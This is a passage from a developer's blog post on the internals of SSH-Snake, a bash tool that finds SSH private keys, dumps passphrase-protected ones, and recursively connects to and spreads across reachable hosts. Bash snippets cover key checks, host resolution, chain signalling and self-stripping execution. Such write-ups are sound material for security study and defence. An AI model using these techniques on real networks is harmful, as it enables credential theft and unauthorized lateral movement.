  <span class="nv">dir_name</span><span class="o">=</span><span class="s2">"</span><span class="nv">$1</span><span class="s2">"</span>

  <span class="o">[[</span> <span class="nt">-v</span> <span class="s1">'folders["$dir_name"]'</span> <span class="o">||</span> <span class="k">${#</span><span class="nv">folders</span><span class="p">[</span><span class="s2">"</span><span class="nv">$dir_name</span><span class="s2">"</span><span class="p">]</span><span class="k">}</span> <span class="nt">-gt</span> 0 <span class="o">]]</span> <span class="o">&amp;&amp;</span> <span class="k">return </span>0
  <span class="o">[[</span> <span class="nt">-v</span> <span class="s1">'not_folders["$dir_name"]'</span> <span class="o">||</span> <span class="k">${#</span><span class="nv">not_folders</span><span class="p">[</span><span class="s2">"</span><span class="nv">$dir_name</span><span class="s2">"</span><span class="p">]</span><span class="k">}</span> <span class="nt">-gt</span> 0 <span class="o">]]</span> <span class="o">&amp;&amp;</span> <span class="k">return </span>1

  <span class="k">${</span><span class="nv">s</span><span class="k">}</span> <span class="nb">test</span> <span class="nt">-d</span> <span class="s2">"</span><span class="nv">$dir_name</span><span class="s2">"</span> <span class="o">&amp;&amp;</span> <span class="k">${</span><span class="nv">s</span><span class="k">}</span> <span class="nb">test</span> <span class="nt">-r</span> <span class="s2">"</span><span class="nv">$dir_name</span><span class="s2">"</span> <span class="o">&amp;&amp;</span> folders[<span class="s2">"</span><span class="nv">$dir_name</span><span class="s2">"</span><span class="o">]=</span>1 <span class="o">&amp;&amp;</span> <span class="k">return </span>0

  not_folders[<span class="s2">"</span><span class="nv">$dir_name</span><span class="s2">"</span><span class="o">]=</span>1
  <span class="k">return </span>1
<span class="o">}</span>
</code></pre></div></div>

<p>File reading is expensive, so if we already know a location isn’t readable, save that information.</p>

<p>Likewise, the script avoids any extraneous calls to other programs (<code class="language-plaintext highlighter-rouge">grep(1)</code>, <code class="language-plaintext highlighter-rouge">awk(1)</code>, etc.) because every subshell is expensive. I’ve written more bash string expansions in this script than I probably have the rest of my life.</p>

<hr />

<p><code class="language-plaintext highlighter-rouge">populate_keys()</code> was originally an extremely complicated and convoluted function which stored various states related to files found. This is because different versions of <code class="language-plaintext highlighter-rouge">ssh-keygen(1)</code> support different operations and act differently depending on the file permissions of both the private key and public key (which also ranges depending on <code class="language-plaintext highlighter-rouge">ssh-keygen(1)</code> version).</p>

<p>For example, the following errors could happen:</p>

<ol>
  <li>Overly permission private key files (but with a public key file key.pub),</li>
  <li>Missing public key files (key.pub) for older <code class="language-plaintext highlighter-rouge">ssh-keygen(1)</code> versions which cannot convert a private key into a public key hash,</li>
  <li>Missing public key files (key.pub) for PEM formatted keys, which you cannot extract a public key from at all,</li>
  <li>Protected (passphrase) private keys with a missing public key file (key.pub),</li>
  <li>Overly permissive private key files for which key.pub is missing,</li>
  <li>The file not being a key at all.</li>
</ol>

<p>I’ve documented these already <a href="https://joshua.hu/more-fun-with-bash-ssh-and-ssh-keygen-version-differences">in this blog post</a>. Notably, we see that:</p>

<ul>
  <li>Older <code class="language-plaintext highlighter-rouge">ssh-keygen(1)</code> versions simply do not differentiate between an invalid passphrase on a protected private key, and a file that isn’t a private key at all,</li>
  <li>Older <code class="language-plaintext highlighter-rouge">ssh-keygen(1)</code> versions cannot convert a private key into a public key hash unless key.pub exists already,</li>
  <li>Older <code class="language-plaintext highlighter-rouge">ssh-keygen(1)</code> versions cannot convert a private key file into a public key file if the private key file has too open permissions – in fact, it prompts for a passphrase, even if the key doesn’t have a passphrase,</li>
</ul>

<p>In the end, I opted for a simple system</p>

<ol>
  <li>Generate a public key from the file – using a fake passphrase. if <code class="language-plaintext highlighter-rouge">ssh-keygen(1)</code> prints to stderr that the file provided is an invalid format return false and finish.</li>
  <li>If <code class="language-plaintext highlighter-rouge">ssh-keygen(1)</code> returned false, this means the file <em>is</em> some type of private key, but it has a passphrase: simply print the contents of the key.</li>
  <li>If <code class="language-plaintext highlighter-rouge">ssh-keygen(1)</code> returned true, this means we can use the key.</li>
</ol>

<p>Previously, I wanted to include the the public key hash (<code class="language-plaintext highlighter-rouge">MD5:b2:45:a5:03:54:c7:71:29:c1:0d:f5:c5:e8:27:63:5f</code>) in the output. This presented challenges, because of possible old versions of <code class="language-plaintext highlighter-rouge">ssh-keygen(1)</code> or permission issues on the public key files (documented in <a href="https://joshua.hu/more-fun-with-bash-ssh-and-ssh-keygen-version-differences">the last part of this post</a>). I was going to try to calculate the hash three ways: using <code class="language-plaintext highlighter-rouge">ssh-keygen -E md5 -lf key_file</code>, <code class="language-plaintext highlighter-rouge">ssh-keygen -E md5 -lf &lt;( (echo $pubkey))</code>, and <code class="language-plaintext highlighter-rouge">ssh-keygen -E md5 -lf /dev/stdin &lt;&lt;&lt; $pubkey</code>. The latter has the potential to write to the disk since here-documents may create temporary files (see the first part of the aforementioned post). In the end, I decided it’s best to leave this up to other tools analyzing the output of SSH-Snake, rather than SSH-Snake itself.</p>

<p>In order to avoid the case that duplicate keys are used (but in multiple locations), an associative array with the array’s key containing the public key.</p>

<hr />

<p>Other than the aforementioned blog post with some discoveries about <code class="language-plaintext highlighter-rouge">bash(1)</code> and <code class="language-plaintext highlighter-rouge">ssh(1)</code>, I also discovered that stderr output from <code class="language-plaintext highlighter-rouge">ssh(1)</code> <a href="https://joshua.hu/ssh-stderr-printing-carriage-return">always has a appended ‘\r’ (carriage) character)</a>.</p>

<p>I also discovered that <code class="language-plaintext highlighter-rouge">ssh(1)</code> <a href="https://joshua.hu/bash-script-not-continuing-from-function-ssh-eating-stdin">eats stdin unless fed /dev/null</a>.</p>

<p>I also investigated invalid patches for an old <code class="language-plaintext highlighter-rouge">ssh(1)</code> vulnerability <a href="https://joshua.hu/ssh-username-enumeration-ubuntu-18">which introduced username enumeration</a> into <code class="language-plaintext highlighter-rouge">sshd(8)</code> on Ubuntu.</p>

<p>And perhaps the most interesting was leaving this script running in an environment but messing up the output such that the list of systems connected to wouldn’t be printed, so having work out how to <a href="https://joshua.hu/dumping-retrieving-bash-variables-in-memory-coredump">dump internal bash variables from a core dump of a running bash process</a>.</p>

<hr />

<p>Determining whether a username, host, or destination looks like legitimate was also an interesting journey. Since these things aren’t standardized and at least OpenSSH’s SSH doesn’t (<a href="https://github.com/openssh/openssh-portable/commit/7ef3787c84b6b524501211b11a26c742f829af1a#diff-ce646b350d7e1b7ca792b15463c7ce19fd0979286424bb3d569e36ab5e435039R638">didn’t</a>) define what a valid hostname or username is (nor is it consistent between operating systems), I opted for something fairly basic: A host cannot begin with the <code class="language-plaintext highlighter-rouge">-</code> or <code class="language-plaintext highlighter-rouge">.</code> character, a host cannot end with the <code class="language-plaintext highlighter-rouge">-</code> or <code class="language-plaintext highlighter-rouge">.</code> character, a host cannot contain <code class="language-plaintext highlighter-rouge">-.</code>, and a host cannot contain <code class="language-plaintext highlighter-rouge">--</code>. Likewise, the host can only contain the characters <code class="language-plaintext highlighter-rouge">a-zA-Z0-9_.-</code>.</p>

<p>Restricting to <code class="language-plaintext highlighter-rouge">a-zA-Z0-9_.-</code> is not necessarily a good idea for hosts, and there can be valid hostnames outside of this range (non-Latin, for example). As a default, it’s fine for me, though. It can be changed near the beginning of the script.</p>

<p>Usernames are restricted to <code class="language-plaintext highlighter-rouge">[a-z_][a-z0-9_-]{0,31}</code>.</p>

<hr />

<p>The final filter for the list of destinations that will be used by <code class="language-plaintext highlighter-rouge">ssh(1)</code> to attempt connections is the <code class="language-plaintext highlighter-rouge">deduplicate_resolved_hosts_keys()</code> function.</p>

<p>This function mainly performs a final de-duplication of the destinations discovered. First things first, it extracts every host from every destination and pre-resolves the IPv4 address(es):</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="k">for </span>ssh_dest <span class="k">in</span> <span class="s2">"</span><span class="k">${</span><span class="p">!ssh_dests[@]</span><span class="k">}</span><span class="s2">"</span><span class="p">;</span> <span class="k">do
    </span><span class="nb">local </span>ssh_host

    is_ssh_dest <span class="s2">"</span><span class="nv">$ssh_dest</span><span class="s2">"</span> <span class="o">||</span> <span class="k">continue
    </span><span class="nv">ssh_host</span><span class="o">=</span><span class="s2">"</span><span class="k">${</span><span class="nv">ssh_dest</span><span class="p">#*@</span><span class="k">}</span><span class="s2">"</span>
    <span class="o">[[</span> <span class="nt">-v</span> <span class="s1">'resolved_hosts["$ssh_host"]'</span> <span class="o">||</span> <span class="k">${#</span><span class="nv">resolved_hosts</span><span class="p">[</span><span class="s2">"</span><span class="nv">$ssh_host</span><span class="s2">"</span><span class="p">]</span><span class="k">}</span> <span class="nt">-gt</span> 0 <span class="o">]]</span> <span class="o">&amp;&amp;</span> <span class="k">continue

     </span>resolved_hosts[<span class="s2">"</span><span class="nv">$ssh_host</span><span class="s2">"</span><span class="o">]=</span>1
    <span class="o">(</span>getent ahostsv4 <span class="nt">--</span> <span class="s2">"</span><span class="nv">$ssh_host</span><span class="s2">"</span> <span class="o">&gt;</span> /dev/null 2&gt;&amp;1 &amp;<span class="o">)</span>
  <span class="k">done

  </span><span class="nb">wait</span>
</code></pre></div></div>

<p>It does this because the script needs to resolve every hostname already: by using subshells it can effectively do this in parallel, and hope that the DNS resolver caches the responses. The responses are discarded in the bash script itself, however.</p>

<p>The function then once again extracts the username and host from the destination. From there, it checks whether the hostname has already been resolved (using an <em>internal cache</em> in the bash script; <strong>not</strong> the aforementioned DNS resolver cache). If it hasn’t, it resolves the hostname again:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>      <span class="c"># If the host has not already been resolved, resolve it using getent.</span>
      <span class="nv">resolved_ssh_host</span><span class="o">=</span><span class="s2">"</span><span class="si">$(</span>getent ahostsv4 <span class="nt">--</span> <span class="s2">"</span><span class="nv">$ssh_host</span><span class="s2">"</span> 2&gt;/dev/null<span class="si">)</span><span class="s2">"</span>
      <span class="nv">resolved_ssh_host</span><span class="o">=</span><span class="s2">"</span><span class="k">${</span><span class="nv">resolved_ssh_host</span><span class="p">%% *</span><span class="k">}</span><span class="s2">"</span>

      <span class="c"># Answer must begin with 1 or 2 (getent ahosts v4 0.1.2.3 will respond with 0.1.2.3).</span>
      <span class="k">if</span> <span class="o">[[</span> <span class="s2">"</span><span class="k">${</span><span class="nv">resolved_ssh_host</span>:0:1<span class="k">}</span><span class="s2">"</span> <span class="o">=</span>~ <span class="o">[</span>12] <span class="o">]]</span><span class="p">;</span> <span class="k">then</span>
        <span class="o">[[</span> <span class="s2">"</span><span class="nv">$resolved_ssh_host</span><span class="s2">"</span> <span class="o">=</span>~ ^127<span class="se">\.</span> <span class="o">]]</span> <span class="o">&amp;&amp;</span> <span class="nv">resolved_ssh_host</span><span class="o">=</span><span class="s2">"127.0.0.1"</span> <span class="c"># If it's loopback, always use 127.0.0.1</span>
        <span class="c"># Cache the host</span>
        resolved_hosts[<span class="s2">"</span><span class="nv">$ssh_host</span><span class="s2">"</span><span class="o">]=</span><span class="s2">"</span><span class="nv">$resolved_ssh_host</span><span class="s2">"</span>
      <span class="k">else</span>
        <span class="c"># Ignore this host</span>
        _ignored_hosts[<span class="s2">"</span><span class="nv">$ssh_host</span><span class="s2">"</span><span class="o">]=</span>1
        <span class="c"># Also ignore the resolved host (which may not necessarily be the same as the host).</span>
        <span class="o">[[</span> <span class="nt">-n</span> <span class="s2">"</span><span class="nv">$resolved_ssh_host</span><span class="s2">"</span> <span class="o">]]</span> <span class="o">&amp;&amp;</span> _ignored_hosts[<span class="s2">"</span><span class="nv">$resolved_ssh_host</span><span class="s2">"</span><span class="o">]=</span>1
        <span class="k">continue
      fi</span>
</code></pre></div></div>

<p>Once we’ve resolved the host, if the answer begins with 1 or 2, we cache the address in the <code class="language-plaintext highlighter-rouge">resolved_hosts</code> associative array. Otherwise, we ignore this hostname so any future destinations with the same hostname (<code class="language-plaintext highlighter-rouge">user1@host</code>, <code class="language-plaintext highlighter-rouge">user2@host</code>, etc.) are skipped – there’s no point in attempting them if we can’t resolve the hostname.</p>

<p>Then, we combine the resolved addresses with their respective usernames to create new destinations which are in the form of <code class="language-plaintext highlighter-rouge">username@ip4_address</code>:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>....
    <span class="o">[[</span> <span class="nt">-v</span> <span class="s1">'_ignored_hosts["$resolved_ssh_host"]'</span> <span class="o">||</span> <span class="k">${#</span><span class="nv">_ignored_hosts</span><span class="p">[</span><span class="s2">"</span><span class="nv">$resolved_ssh_host</span><span class="s2">"</span><span class="p">]</span><span class="k">}</span> <span class="nt">-gt</span> 0 <span class="o">]]</span> <span class="o">&amp;&amp;</span> _ignored_hosts[<span class="s2">"</span><span class="nv">$ssh_host</span><span class="s2">"</span><span class="o">]=</span>1
    <span class="c"># add_ssh_dest will check whether the $ssh_user@$resolved_ssh_host is ignored.</span>

    valid_ssh_dests[<span class="s2">"</span><span class="nv">$ssh_user</span><span class="s2">@</span><span class="nv">$resolved_ssh_host</span><span class="s2">"</span><span class="o">]=</span>1
  <span class="k">done

  </span><span class="nv">ssh_dests</span><span class="o">=()</span>

  <span class="k">for </span>ssh_dest <span class="k">in</span> <span class="s2">"</span><span class="k">${</span><span class="p">!valid_ssh_dests[@]</span><span class="k">}</span><span class="s2">"</span><span class="p">;</span> <span class="k">do
    </span>add_ssh_dest <span class="s2">"</span><span class="nv">$ssh_dest</span><span class="s2">"</span>
  <span class="k">done</span>
</code></pre></div></div>

<p>Why do we resolve the hosts? Well, if there’s two destinations <code class="language-plaintext highlighter-rouge">user@host1</code> and <code class="language-plaintext highlighter-rouge">user@host2</code>, why bother attempting to connect to both of them if both <code class="language-plaintext highlighter-rouge">host1</code> and <code class="language-plaintext highlighter-rouge">host2</code> resolve to the same address?</p>

<hr />

<p>That reminds me. The whole <code class="language-plaintext highlighter-rouge">add_ssh_dest()</code> function had a bug for awhile. Well more accurately, <code class="language-plaintext highlighter-rouge">is_ssh_dest()</code> had a bug. To save some time determining whether a destination is a valid destination or not, it also performed internal caching. Something like this:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="o">[[</span> <span class="nt">-v</span> <span class="s1">'ssh_dests["$ssh_dest"]'</span> <span class="o">||</span> <span class="k">${#</span><span class="nv">ssh_dests</span><span class="p">[</span><span class="s2">"</span><span class="nv">$ssh_dest</span><span class="s2">"</span><span class="p">]</span><span class="k">}</span> <span class="nt">-gt</span> 0 <span class="o">]]</span> <span class="o">&amp;&amp;</span> <span class="k">return </span>0
</code></pre></div></div>

<p>AKA: I thought that if it was already in <code class="language-plaintext highlighter-rouge">ssh_dests</code>, then of course it’s a valid dest! But the issue is that the host in the destination may have been added as an ignored host (due to not resolving, for example), so just because it’s currently a destination doesn’t mean it <em>should</em> be.</p>

<hr />

<p>Finally, the script actually does the SSHing. In general, the <code class="language-plaintext highlighter-rouge">recursive_scan()</code> function isn’t any special.</p>

<p>It handles various error conditions related to the keys and destinations. If a connection error (like connection refused on port 22) is encountered, it ensures that other destinations with the same host aren’t even connecting (why waste time?)</p>

<p>If some strange network error like a broken pipe or a timeout (after the destination has successfully been connected to), the destination can be retried later on.</p>

<hr />

<p>Something that was particularly interesting to work with was the so-called “ignore list updating”. This how intermediate bash instances communicate with each-other to tell each-other which systems have been successfully scanned.</p>

<p>Consider the following chain: <code class="language-plaintext highlighter-rouge">Server1-&gt;Server2-&gt;Server3-&gt;Server4</code></p>

<p>At any moment in the above chain, each server has a different working ignore_list. Server 4’s ignore list is <code class="language-plaintext highlighter-rouge">Server1|Server2|Server3|Server4</code> – so if Server4 connects to another server which identifies itself as any of those servers, it won’t scan it because it knows those four servers are already in the process of scanning. Server 3’s ignore list is <code class="language-plaintext highlighter-rouge">Server1|Server2|Server3</code>, Server 2’s ignore list is <code class="language-plaintext highlighter-rouge">Server1|Server2</code>, and Server 1’s is <code class="language-plaintext highlighter-rouge">Server1</code>.</p>

<p>Server1 does not know anything about Server4: so once Server4 has completely finished being scanned, how can it communicate to Server1,2,3, that it has already been scanned?</p>

<p>The basis of how this works is the following:</p>

<p>In the <code class="language-plaintext highlighter-rouge">recursive_scan()</code> function – which reads the output from <code class="language-plaintext highlighter-rouge">ssh -i key user@host</code> line-by-line – there is the following condition based on the output line:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>      <span class="k">while </span><span class="nv">IFS</span><span class="o">=</span> <span class="nb">read</span> <span class="nt">-r</span> line<span class="p">;</span> <span class="k">do
        if</span> <span class="o">[[</span> <span class="s2">"</span><span class="nv">$line</span><span class="s2">"</span> <span class="o">==</span> <span class="s2">"INTERNAL_MSG: ignore list: "</span><span class="k">*</span> <span class="o">]]</span><span class="p">;</span> <span class="k">then
          </span><span class="nb">local </span>ignore_new

          <span class="nv">ignore_new</span><span class="o">=</span><span class="s2">"</span><span class="k">${</span><span class="nv">line</span><span class="p">#*INTERNAL_MSG</span>:<span class="p"> ignore list</span>:<span class="p"> </span><span class="k">}</span><span class="s2">"</span>
          <span class="k">if</span> <span class="o">[[</span> <span class="s2">"</span><span class="nv">$ignore_list</span><span class="s2">"</span> <span class="o">!=</span> <span class="k">*</span><span class="s2">"</span><span class="nv">$ignore_new</span><span class="s2">"</span><span class="k">*</span> <span class="o">]]</span><span class="p">;</span> <span class="k">then
            </span>ignore_list+<span class="o">=</span><span class="s2">"</span><span class="nv">$ignore_new</span><span class="s2">"</span>
          <span class="k">fi
          </span><span class="nb">printf</span> <span class="s2">"%s</span><span class="se">\n</span><span class="s2">"</span> <span class="s2">"</span><span class="nv">$line</span><span class="s2">"</span>
          <span class="k">continue</span> <span class="c"># Don't break, as it may be being passed through from a much higher destination.</span>
        <span class="k">fi
        done</span> &lt; &lt;<span class="o">(</span><span class="nb">stdbuf</span> <span class="nt">-o0</span> <span class="k">${</span><span class="nv">s</span><span class="k">}</span> ssh <span class="nt">-i</span> ......<span class="o">)</span>
</code></pre></div></div>

<p>The value passed with the <code class="language-plaintext highlighter-rouge">INTERNAL_MSG: ignore list</code> message is extracted and then <em>appended</em> to the ignore list.</p>

<p><code class="language-plaintext highlighter-rouge">INTERNAL_MSG</code> messages are special: they aren’t shown to the user at all, and are only used internally within the script and through the connection chain. Now, consider the <code class="language-plaintext highlighter-rouge">fin()</code> function:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>fin<span class="o">()</span> <span class="o">{</span>
  <span class="nb">printf</span> <span class="s2">"INTERNAL_MSG: ignore list: %s%s@%s%s</span><span class="se">\n</span><span class="s2">"</span> <span class="s2">"</span><span class="nv">$ignore_separator</span><span class="s2">"</span> <span class="s2">"</span><span class="nv">$user</span><span class="s2">"</span> <span class="s2">"</span><span class="nv">$current_hostnames_ip</span><span class="s2">"</span> <span class="s2">"</span><span class="nv">$ignore_separator</span><span class="s2">"</span>

  <span class="nb">exit </span>0
<span class="o">}</span>
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">fin()</code> function is called when a destination has finished being scanned (whether it finished naturally, or finished because it is has already been scanned and it won’t be scanned a second time).</p>

<p>Basically, when Server4 finishes, it prints the <code class="language-plaintext highlighter-rouge">INTERNAL_MSG: ignore list</code> message containing the unique identifier for this destination (the <code class="language-plaintext highlighter-rouge">current_hostnames_ip</code> which has been discussed already). After it prints that value, Server3 receives will receive it and add it to its own internal ignore list: If Server3 connects to something that looks like Server4 again, Server4 will not scan anything. In addition to that, Server3 will also pass that string to Server2, and Server2 will add it to its internal ignore list. Finally, Server2 passes it to Server1.</p>

<p>And that’s it. this big chain of passing completed hosts ‘down the chain’ is how one system communicates to another that it has finished being scanned.</p>

<p>Originally, I had made it such that the value printed in <code class="language-plaintext highlighter-rouge">fin()</code> was the actual <code class="language-plaintext highlighter-rouge">ignore_list</code>. Going back to our example of <code class="language-plaintext highlighter-rouge">Server1-&gt;Server2-&gt;Server3-&gt;Server4</code>, that would mean that once Server4 finished scanning, it would communicate to Server3,2,1 that the ignore_list should now be <code class="language-plaintext highlighter-rouge">Server1|Server2|Server3|Server4</code>. This meant the script in <code class="language-plaintext highlighter-rouge">recursive_scan()</code> didn’t <em>append</em> to the ignore_list, but rather completely change it. I changed this to communicate only the exact system that had finished because firstly it provides a smaller chance of the chain somehow being corrupted to broken due to a misbehaving system, but also be it is simply incorrect. Just because Server4 has finished being scanned, doesn’t mean Server3 has. Consider <code class="language-plaintext highlighter-rouge">Server1-&gt;Server2-&gt;Server3-&gt;Server4</code>: if <code class="language-plaintext highlighter-rouge">Server2</code>’s connection is broken for some reason, Server1 would incorrectly believe that Server2, Server3, and Server4 have all been scanned already and any re-connections would incorrectly finish straight away, since they believe those systems have already been scanned.</p>

<hr />

<p>Something that became quite obvious near the beginning of this project was that the bash script was simply too large. In total, the script it 93149-bytes, or 124200-bytes when base64-encoded. Especially since an earlier version of this script passed the base64-encoded script twice via the command-line (remember <code class="language-plaintext highlighter-rouge">loooong_string</code>?), the script is going to reach the maximum argument and/or maximum command length pretty quickly.</p>

<p>Originally, I tried to solve this issue by creating a git pre-commit hook which would create a secondary file, <code class="language-plaintext highlighter-rouge">Snake.nocomment.sh</code>, then remove all comments or empty lines.</p>

<p>Then I realized that that having a separate file for the comment-less code is a bit of a waste. Likewise, the file contains a lot of dead code due to the plug-and-play nature of the different strategies of private key and destination discovery: if a strategy is disabled, why bother even transferring that part of the code to the other systems?</p>

<p>So instead, I made a bash function that performed the following actions when the script is first executed:</p>

<ol>
  <li>Generate a list of functions and variables that are going to be completely unused by the script given its currently settings,</li>
  <li>Read the script (<code class="language-plaintext highlighter-rouge">cat "$0"</code>)</li>
  <li>Remove all of the unused and unnecessary functions and variables (including the function which actually performs this action!) from the script using an <code class="language-plaintext highlighter-rouge">awk(1)</code> script,</li>
  <li>Remove all comments, white-spaces from the script</li>
  <li>Execute the modified script using <code class="language-plaintext highlighter-rouge">echo "$new_script" | bash</code>.</li>
</ol>

<p>So in a way, <code class="language-plaintext highlighter-rouge">Snake.sh</code> isn’t actually the script that is executed: it just <em>prepares</em> the script that will be executed.</p>

<p>When the <code class="language-plaintext highlighter-rouge">Snake.sh</code> script is first executed by the script, the exact functions that execute are: <code class="language-plaintext highlighter-rouge">setup() -&gt; check_startup()</code>. <code class="language-plaintext highlighter-rouge">check_startup()</code> checks that all of the required commands are available, and then calls <code class="language-plaintext highlighter-rouge">print_snake()</code>, then <code class="language-plaintext highlighter-rouge">print_settings()</code>, and then <code class="language-plaintext highlighter-rouge">shape_script()</code>.</p>

<p><code class="language-plaintext highlighter-rouge">shape_script()</code> does the five operations that were described. There are about 70-lines of code which determine which functions and variables should be removed from the script (if there are no <a href="https://github.com/MegaManSec/SSH-Snake/blob/main/SETTINGS.md#custom_cmds">custom_cmds</a>, remove the <code class="language-plaintext highlighter-rouge">exec_custom_cmds()</code> function for example), but this is just an example of some constant ones:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="c"># Remove this function</span>
  remove_function+<span class="o">=</span><span class="s2">"shape_script "</span>
  <span class="c"># Remove the fin_root function</span>
  remove_function+<span class="o">=</span><span class="s2">"fin_root "</span>
  <span class="c"># Remove the print_settings function</span>
  remove_function+<span class="o">=</span><span class="s2">"print_settings "</span>
  <span class="c"># Remove the remove_function function</span>
  remove_function+<span class="o">=</span><span class="s2">"remove_functions "</span>
  <span class="c"># Remove the print_snake function</span>
  remove_function+<span class="o">=</span><span class="s2">"print_snake "</span>
</code></pre></div></div>

<p>Since those functions are only used by <code class="language-plaintext highlighter-rouge">Snake.sh</code> when it’s first executed, we can safely remove them from the script. Once <code class="language-plaintext highlighter-rouge">$remove_function</code> is filled with variables and functions to remove (space-delimited), the actual removal takes place:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="c"># Actually remove it all.</span>
  <span class="nv">local_script</span><span class="o">=</span><span class="s2">"</span><span class="si">$(</span>remove_functions <span class="s2">"</span><span class="si">$(</span><span class="nb">cat</span> <span class="s2">"</span><span class="nv">$0</span><span class="s2">"</span><span class="si">)</span><span class="s2">"</span> <span class="s2">"</span><span class="nv">$remove_function</span><span class="s2">"</span><span class="si">)</span><span class="s2">"</span>

  <span class="c"># Remove all comments and unnecessary white-spaces.</span>
  <span class="nv">local_script</span><span class="o">=</span><span class="s2">"</span><span class="si">$(</span><span class="nb">printf</span> <span class="s2">"%s"</span> <span class="s2">"</span><span class="nv">$local_script</span><span class="s2">"</span> | <span class="nb">sed</span> <span class="nt">-e</span> <span class="s1">'s/^[ \t]*//'</span> <span class="nt">-e</span> <span class="s1">'s/^#.*$//'</span> <span class="nt">-e</span> <span class="s1">'s/[[:space:]]#.*//'</span> <span class="nt">-e</span> <span class="s1">'/^[[:space:]]*$/d'</span><span class="si">)</span><span class="s2">"</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">remove_functions()</code> is the function that checks and removes the functions/variables:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>remove_functions<span class="o">()</span> <span class="o">{</span>
  <span class="nb">local </span>this_script
  <span class="nb">local </span>function_names

  <span class="nv">this_script</span><span class="o">=</span><span class="s2">"</span><span class="nv">$1</span><span class="s2">"</span>
  <span class="nv">function_names</span><span class="o">=</span><span class="s2">"</span><span class="nv">$2</span><span class="s2">"</span>

  <span class="c"># Use awk to filter out the functions and their calls from the script</span>
  <span class="nb">printf</span> <span class="s2">"%s"</span> <span class="s2">"</span><span class="nv">$this_script</span><span class="s2">"</span> | <span class="nb">awk</span> <span class="nt">-v</span> <span class="nv">fnames</span><span class="o">=</span><span class="s2">"</span><span class="nv">$function_names</span><span class="s2">"</span> <span class="s1">'
    # ^func_name()
    function is_func_line() {
      for (i in funcs) {
        if ($0 ~ "^" funcs[i] "\\(\\)") {
          return 1
        }
      }
      return 0
    }

    # [space][space][...] func_name
    function is_func_call() {
      for (i in funcs) {
        if ($0 ~ "^[[:space:]]*" funcs[i]) {
          return 1
        }
      }
      return 0
    }

    BEGIN {
      split(fnames, funcs, " ");
      in_func = 0
    }

    is_func_line() { in_func = 1; next }
    # end of the function is ^}
    /^\}/ { if (in_func) { in_func = 0; next } }
    is_func_call() { next }
    !in_func { print }
  '</span>
<span class="o">}</span>
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">awk(1)</code> script determines when a function starts by the fact that it begins with the form of <code class="language-plaintext highlighter-rouge">function_name()</code>. It deletes everything after this until it matches the first <code class="language-plaintext highlighter-rouge">}</code> at the beginning of a line: indicating that it is the end of the function.</p>

<p>Likewise, the <code class="language-plaintext highlighter-rouge">awk(1)</code> script finds any lines that begin with spaces and then reference the function (or variable) name. Due to the plug-and-play nature of SSH-Snake, functions are called in the form of `    function`, so their removal is easy.</p>

<p>Since <code class="language-plaintext highlighter-rouge">function_name</code> is space-delimited, there are a couple variables that cannot be removed that are unnecessary, for example <code class="language-plaintext highlighter-rouge">declare -A root_ssh_keys</code>, <code class="language-plaintext highlighter-rouge">declare -A root_ssh_hostnames_dests</code>, and <code class="language-plaintext highlighter-rouge">declare -A root_ssh_hosts_dests</code> – these variables are only used by the initial <code class="language-plaintext highlighter-rouge">Snake.sh</code> script. This can be fixed by making <code class="language-plaintext highlighter-rouge">function_name</code> an array.</p>

<p>One other issue I encountered was that originally <code class="language-plaintext highlighter-rouge">if ($0 ~ "^[[:space:]]*" funcs[i]) {</code> was <code class="language-plaintext highlighter-rouge">if ($0 ~ "^\s*" funcs[i]) {</code>. <code class="language-plaintext highlighter-rouge">\s</code> is a gawk-ism and didn’t work for non-gnu-awk-systems.</p>

<p>This also means that if you actually want to see what’s being executed, you’ll need to edit <code class="language-plaintext highlighter-rouge">shape_script()</code> and un-comment the final line:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="nv">local_script</span><span class="o">=</span><span class="s2">"</span><span class="si">$(</span>remove_functions <span class="s2">"</span><span class="si">$(</span><span class="nb">cat</span> <span class="s2">"</span><span class="nv">$0</span><span class="s2">"</span><span class="si">)</span><span class="s2">"</span> <span class="s2">"</span><span class="nv">$remove_function</span><span class="s2">"</span><span class="si">)</span><span class="s2">"</span>

  <span class="c"># Remove all comments and unnecessary white-spaces.</span>
  <span class="nv">local_script</span><span class="o">=</span><span class="s2">"</span><span class="si">$(</span><span class="nb">printf</span> <span class="s2">"%s"</span> <span class="s2">"</span><span class="nv">$local_script</span><span class="s2">"</span> | <span class="nb">sed</span> <span class="nt">-e</span> <span class="s1">'s/^[ \t]*//'</span> <span class="nt">-e</span> <span class="s1">'s/^#.*$//'</span> <span class="nt">-e</span> <span class="s1">'s/[[:space:]]#.*//'</span> <span class="nt">-e</span> <span class="s1">'/^[[:space:]]*$/d'</span><span class="si">)</span><span class="s2">"</span>

  <span class="c"># XXX: If we want to see what script we're running, then this is the place to print "$local_script". Or above the previous line.</span>
  <span class="c"># printf "%s" "$local_script"</span>
</code></pre></div></div>

<p>This will only print the script once, since <code class="language-plaintext highlighter-rouge">shape_script()</code> won’t even exist in the <code class="language-plaintext highlighter-rouge">local_script</code> which is passed to bash:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  <span class="k">while </span><span class="nv">IFS</span><span class="o">=</span> <span class="nb">read</span> <span class="nt">-r</span> line<span class="p">;</span> <span class="k">do
    </span><span class="nb">printf</span> <span class="s2">"[%s]"</span> <span class="s2">"</span><span class="si">$(</span><span class="nb">date</span> +%s<span class="si">)</span><span class="s2">"</span>
    <span class="nb">printf</span> <span class="s2">"%s</span><span class="se">\n</span><span class="s2">"</span> <span class="s2">"</span><span class="nv">$line</span><span class="s2">"</span>
